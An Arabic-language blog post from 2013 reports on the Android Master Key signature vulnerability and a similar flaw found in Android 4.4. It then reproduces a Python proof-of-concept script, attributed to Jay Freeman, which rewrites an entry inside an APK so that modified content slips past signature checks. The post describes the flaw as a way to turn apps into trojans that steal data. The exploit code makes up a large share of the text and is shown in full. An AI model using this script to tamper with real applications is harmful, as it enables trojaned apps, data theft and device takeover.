السبت، 2 نوفمبر 2013
2.11.13

اكتشاف ثغرة Android 4.4 Master Key Vulnerability

اكتشاف ثغرة Android 4.4 Master Key Vulnerability

 السلام عليكـــــم و رحمة الله و بركـــــــاته

مع جديد عالم الهكر و الثغرات , هذه المرة  الثغرة تطال نظام الهواتف المحمولة أندرويد , و للإشارة الثغرة ليست جديدة ففي شهر يوليو  الماضي من سنة 2013 تم أكتشاف أن أغلب الأجهزة التي تستخدم أندرويد كنظام تشغيل لها مصابة بثغرة يطلق عليها اسم Master Key Vulnerability  ومن ليست له دراية بهذه الثغرة فهي من الثغرات الخطيرة التي تسمح للهكر بتغيير أي تطبيق أندرويد و جعله تروجان Trojan من أجل سحب كل المعلومات السرية بالجهاز أو التحكم الكلي به.

و في الإصدار 4.3 لأندرويد لم يتم إصلاح الثغرة مما دفع ب google play  لتغيير اعدادات ادخال التطبيقات بحيث يتم منع و حذر كل التطبيق التي تم تغييرها باستعمال هذه الثغرة.

و في الآونة الأخيرة بعد ظهور الإصدار الأخير 4.4 من أندرويد مع باتش لثغرة Master Key للحماية من الثغرة , اكتشف الباحث في الحماية المعلوماتية Jay Freeman  وجود ثغرة اخرى بنفس المميزات لإصدار الأندرويد 4.4  .


و أخيرا نأتي لنمودج لاستغلال الثغرة باستخدام لغة Python مبرمج من Jay Freeman أو كما يطلق عليهَ Saurik :
#!/usr/bin/python import zipfile import struct import sys # usage: ./pocB.py new.apk old.apk file data zout = zipfile.ZipFile(sys.argv[1], "w") zin = zipfile.ZipFile(sys.argv[2], "r") replace = sys.argv[3] new = open(sys.argv[4], 'r').read() fp = zout.fp for name in zin.namelist(): old = zin.read(name) if name != replace: zout.writestr(name, old, zipfile.ZIP_DEFLATED) else: assert len(new) <= len(old) # write header, old data, and record offset zout.writestr(name, old, zipfile.ZIP_STORED) offset = fp.tell() # return to name length, set to skip old data fp.seek(-len(old) -len(name) -4, 1) fp.write(struct.pack('<h', len(name) + len(old))) # after old data, write new data \0 padded fp.seek(offset) fp.write(new) fp.write('\0' * (len(old) - len(new))) zout.close() zin.close()





0 comments:

إرسال تعليق

أضف تعليقك